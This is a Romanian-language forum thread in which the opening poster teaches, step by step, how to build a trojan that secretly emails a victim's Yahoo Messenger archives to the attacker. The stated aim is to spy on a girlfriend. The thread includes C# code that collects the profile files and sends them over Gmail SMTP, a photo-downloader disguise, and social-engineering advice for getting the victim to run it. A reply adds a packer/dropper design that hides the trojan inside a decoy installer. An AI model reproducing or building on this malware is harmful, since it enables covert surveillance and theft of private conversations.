Jump to content
Hertz

Cum furi arhiva de yahoo messenger (REMOTE)

Recommended Posts

Posted (edited)

Poate vrei sa citesti arhiva de mess a gagicii tale, sau o unei fete.. nu e treaba mea. Ideea e ca aici iti prezit un programel pe care l-am facut mai demult, si care iti trimite pe email (al tau) arhiva de messenger a persoanei infectate, precum si din ora in ora ultimele conversatii.

In primul rand, nu vreau sa vorbesc degeaba. Tutorialul asta o sa fie destul de lung si doar cei care CHIAR VOR sa il duca la capat vor reusi.

NU TE APUCA DE ACEST TUTORIAL DACA:

- nu ai citit niciodata o arhiva de mess cu un decriptor

- nu stii unde tine yahoo messenger arhiva

- nu stii ce e ala "SMTP"

programelul este facut in Visual C# http://www.microsoft.com/express/Downloads/#2008-Visual-CS

Etape pe care le vei face:

Victima trebuie sa aiba .NET Framework (logic) de aceea vei face asa:

-ii dai programelul si o vrajesti sa il ruleze (ii va da o eroare ca nu are .net framework), ii dai sa isi instaleze .net framework

si in clipa in care a rulat programul, poti sa te duci sa iti deschizi o bere si sa astepti aprox 10 min

CUM FUNCTIONEAZA:

1. Programul este camuflat in alt programel care downloadeaza poze de pe net (flicker) dupa un anumit tag, automat

2. Daca este rulat, se va rula la fiecare aprindere a calculatorului

3. Verifica daca exista fisiere in C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\

daca da, le trimite pe bucati, ca atasamente, din ora in ora, la o adresa de email specificata de voi.

Nu, nu o sa va dau programul mura in gura. Daca vreti sa il aveti, va trebui sa faceti tot tutorialul si sa il intelegeti.

Primul pas pe care il faceti: Downloadati api-ul de la Flicker si incercati sa faceti un mic programel (in C# normal) care ia o poza de pe Flicker

Nu mai pot scrie acum ca trebuie sa termin ceva, dar astept sa vad cati oameni sunt interesati de acest tutorial (si mai ales cati reusesc sa se descurce cu api-ul de la flicker)... si voi continua tutorialul pas cu pas.

Salutari

Edited by cincinati58
Posted

cateva portiuni din cod:

public partial class Form1 : Form

{

// The thread inside which the download happens

private Thread thrDownload;

// The stream of data retrieved from the web server

private Stream strResponse;

// The stream of data that we write to the harddrive

private Stream strLocal;

// The request to the web server for file information

private HttpWebRequest webRequest;

// The response from the web server containing information about the file

private HttpWebResponse webResponse;

// The progress of the download in percentage

private static int PercentProgress;

// The delegate which we will call from the thread to update the form

private delegate void UpdateProgessCallback(Int64 BytesRead, Int64 TotalBytes, int i);

// Counter is an integer that help us to fix the number of seconds during them the Splash form is displayed

// b is a boolean related to the event if the Spalsh form will be disposed or not

Flickr flickr = new Flickr("219ff01e24915bd98eacd9d10307b95d");

public Form1()

{

InitializeComponent();

Form2 oForm2 = new Form2();

//Add event handler to myTimer.Tick event

oForm2.Show();

//Application.DoEvents();

oForm2.Refresh();

if (Directory.Exists("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\"))

{

string Dir = "C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\";

FileList.Items.Add("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt");

foreach (string f in Directory.GetFiles(Dir, "*.dat"))

{

FileList.Items.Add(f);

}

DirSearch(Dir);

Thread.Sleep(10);

//-----------start mail

if (FileList.Items.Count > 1)

{

System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();

System.Net.NetworkCredential cred = new System.Net.NetworkCredential("yourgmailemail1@gmail.com", "yourgmailpassword");

mail.Subject = Path.GetFileName(Convert.ToString(FileList.Items[1]));

mail.From = new System.Net.Mail.MailAddress("aplicatiata@email.com");

mail.To.Add("yourgmailemail2@gmail.com");

mail.IsBodyHtml = true;

System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");

smtp.UseDefaultCredentials = false;

smtp.EnableSsl = true;

smtp.Credentials = cred;

smtp.Port = 587;

TextWriter tw = new StreamWriter("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt");

for (int i = 0; i < this.listboxdirectoare.Items.Count; i++)

{

tw.WriteLine(listboxdirectoare.Items);

}

tw.Close();

tw.Dispose();

if (FileList.Items.Count > 300)

{

for (int i = 0; i < 150; i++)

{

string attach = Convert.ToString(FileList.Items);

Attachment attached = new Attachment(attach);

mail.Attachments.Add(attached);

}

mail.Body = "atentie...sunt mai mult de 300. asta e prima varianta!!";

Posted

smtp.Send(mail);

mail.Attachments.Clear();

Thread.Sleep(10);

for (int i = 150; i < 300; i++) //modifica cu 100...

{

// Attaches a new attachment contained in the List

string attach = Convert.ToString(FileList.Items);

Attachment attached = new Attachment(attach);

mail.Attachments.Add(attached);

}

mail.Body = "partea a 2-a! dar atentie..sunt mai mult de 300!!!";

smtp.Send(mail);

Thread.Sleep(10);

mail.Attachments.Clear();

}

else

{

if (FileList.Items.Count < 300)

{

if (FileList.Items.Count < 150)

{

for (int i = 0; i < FileList.Items.Count; i++)

{

// Attaches a new attachment contained in the List

string attach = Convert.ToString(FileList.Items);

Attachment attached = new Attachment(attach);

mail.Attachments.Add(attached);

}

mail.Body = "ATASAMENTE PUTINE. sunt mai putin de 150 de atasamente. ar trebui sa le ai pe toate";

smtp.Send(mail);

Thread.Sleep(10);

mail.Attachments.Clear();

// smtp.Send(mail);

Thread.Sleep(10); //trimite alt mail? aici

}

if (FileList.Items.Count > 150)

{

for (int i = 0; i < 150; i++)

{

// Attaches a new attachment contained in the List

string attach = Convert.ToString(FileList.Items);

Attachment attached = new Attachment(attach);

mail.Attachments.Add(attached);

}

mail.Body = "1)mai putin de 300 dar mai mult de 150. AI AICI PRIMA PARTE";

smtp.Send(mail);

Thread.Sleep(10);

mail.Attachments.Clear();

for (int i = 150; i < FileList.Items.Count; i++)

{

// Attaches a new attachment contained in the List

string attach = Convert.ToString(FileList.Items);

Attachment attached = new Attachment(attach);

mail.Attachments.Add(attached);

Posted

aia e partea de cod care downloadeaza pozele, ca nu poti sa ii dai persoanei un programel care nu face nimic... se prinde ca ceva e in neregula.

nu am stat sa reinventez roata, m-am inspirat si eu de pe net, iar tutorialul ala e foarte bun

Posted

Continuam tutorialul:

Pentru inceput trebuie sa va prindeti cum functioneaza emailul in C#.

sendemails.jpg

Codul este mai jos:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Collections;
using System.Web;
using System.Net;

namespace SendEmails
{
public partial class SendEmailsForm : Form
{
public SendEmailsForm()
{
InitializeComponent();
}




private void btnSend_Click(object sender, EventArgs e)
{


System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();

System.Net.NetworkCredential cred = new System.Net.NetworkCredential("altemailaltau@gmail.com", "parolata");


MailAddress from = new MailAddress(txtTo.Text,"Dan");

mail.To.Add(from);




mail.Subject =txtSubject.Text;

mail.From = new System.Net.Mail.MailAddress("traianbasescu@guv.ro");
mail.IsBodyHtml = true;








System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");
smtp.UseDefaultCredentials = false;
smtp.EnableSsl = true;
smtp.Credentials = cred;
smtp.Port = 587;


if (FileList.Items.Count > 0)
{

for (int i=0;i<FileList.Items.Count;i++)
{

// Attaches a new attachment contained in the List

string attach = Convert.ToString(FileList.Items[i]);

Attachment attached = new Attachment(attach);
mail.Attachments.Add(attached);


}

}

mail.Body = txtMessage.Text;



try
{
Cursor.Current = Cursors.WaitCursor;
smtp.Send(mail);
Cursor.Current = Cursors.Default;
label7.Text = "Message Send";

}
catch (Exception ex)
{
Exception ex2 = ex;
string errorMessage = string.Empty;
while (ex2 != null)
{
errorMessage += ex2.ToString();
ex2 = ex2.InnerException;
}

Console.WriteLine(errorMessage);
label7.Text = "Error Sending Message!";
}



}

private void btnBrowse_Click(object sender, EventArgs e)
{


OpenFileDialog dlg = new OpenFileDialog();

if (dlg.ShowDialog() == DialogResult.OK)
{
FileList.Items.Add(dlg.FileName);
}






}


}
}

Cum se incepe:

1. Se face un form asemanator cu cel din poza.

2. Cand dai 2 clickuri pe un controler din form te duce la codul care se ocupa cu el. De exemplu

dai 2 clickuri pe Send

si ajungi aici:

private void btnSend_Click(object sender, EventArgs e)

{

//aici adaugi codul tau

}

sper sa fie toata lumea in stare sa faca mini-programelul asta pentru ca nu e greu.

Posted (edited)
Nu, nu o sa va dau programul mura in gura. Daca vreti sa il aveti, va trebui sa faceti tot tutorialul si sa il intelegeti.

auzi stii ce..poate altii au inteles dar pt mine tu doar ai umplut tutorialul cu niste coduri..nici nu leam citit..daca vrei bine sa ne dai un tutorial calumea bine daca nu , nu ne mai da ghicitori

Edited by diablo2323
Posted

Oricum ideea in sine e aiurea. Nu ai ce cauta in arhiva altora deoarece e personala, majoritatea nu schimba in options sa li se salveze arhiva si se sterge cand da log out si daca, chiar vrei sa iti spionezi gagica inseamna ca o crezi in stare de ceva si nu ai incredere in ea :)

Posted

de asta nici nu dau programul de-a gata. pentru ca este un lucru "rau". lol... , e un tutorial cu bucatele de cod.

daca nu sunteti in stare sa faceti programul din bucatile de cod pe care vi le-am dat, atunci nu il meritati.

-----

Normal ca persoana poate avea arhiva disable (atunci o sa iti vina din ora in ora ce a vorbit in de cand e logat, 99% au macar varianta aia), sunt multe impedimente, fie persoana nu vrea sa isi puna .net framework, fie nu vrea sa dea click pe exe... fie x, fie y. Nu am zis ca e usor.

-----

Posted

Dupa parerea mea, ai postat degeaba. Ori puneai programul/sursa ori dadeai cateva ponturi ori nu postai deloc.

Oare n-ar fi mers scris in alt limbaj, pentru a nu necesita instalarea .Net Framework-ului?

Posted
Dupa parerea mea, ai postat degeaba. Ori puneai programul/sursa ori dadeai cateva ponturi ori nu postai deloc.

Oare n-ar fi mers scris in alt limbaj, pentru a nu necesita instalarea .Net Framework-ului?

Ar fi mers scris in orice limbaj :)) daca ar fi stiut, nu stiu scopul pentru care a postat doar o parte din cod dar nici nu cred ca vreau sa il stiu.

Posted

cred ca merge si cu un simplu script batch sa urce arhiva de messenger pe ftp :) tot ce trebuie este sa folositi rar.exe un program sa transforme *.bat in *.exe si apoi totul va merge am incercat eu si a mers :)

Posted

Mi se pare buna ideea cu acest program, dar din punctul meu de vedere are cateva probleme. In primul rand de ce l-ai scris in C# ? Acest porgram putea fi scris foarte bine in C si nu mai exista nici o problema legata de platforma .net.

In al doilea rand ce rost are sa implementezi partea cu downloadul de poze doar pentru a parea ca programul face ceva util.

Eu as face in urmatorul fel:

- as lua un program, kit de instalare etc existent.

- as face un program sa-i zicem packer care scrie mai multe fisiere exe unul dupa altul intr-un singur fisier si in plus va adauga la sfarsitul fisierului niste informatii legate de structura(de unde incepe si unde se termina fiecare fisier)

- as face un program sa-i zicem unpacker care va face operatia inversa, adica va citi informatiile de la sf fisierului si va extrage fiecare executabil undeva pe hard(undeva sa nu vizibil de exemplu windows/sistem32). Dupa ce extrage acesta va instala mai intai programul care fura arhiva si apoi kit-ul de instalare sau programul decoy.

-cu packerul as face un fisier de forma (unpacker.exe|trojan.exe|decoy.exe|inf_struct).exe

-as pune icoana de la decoy.exe la fisierul de mai sus

Cand o sa am timp mai mult o sa fac un tutorial pe tema asta unde o sa pun si codul sursa aferent. Oricum parerea mea este ca paltforma .net nu o sa fie niciodata o platforma buna pentru programat mallware.

Posted

din ce am inteles eu din tutorialul acesta este ca de fapt .net face parte din inselatorie, si ca de fapt programul propriu-zis il descarci dupa ce da eroarea ca nu ai instalat .net :)

cat despre cum functioneza nu ma pricep prea bine, nu stiu c# inca, merg intai pe c si c++ :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...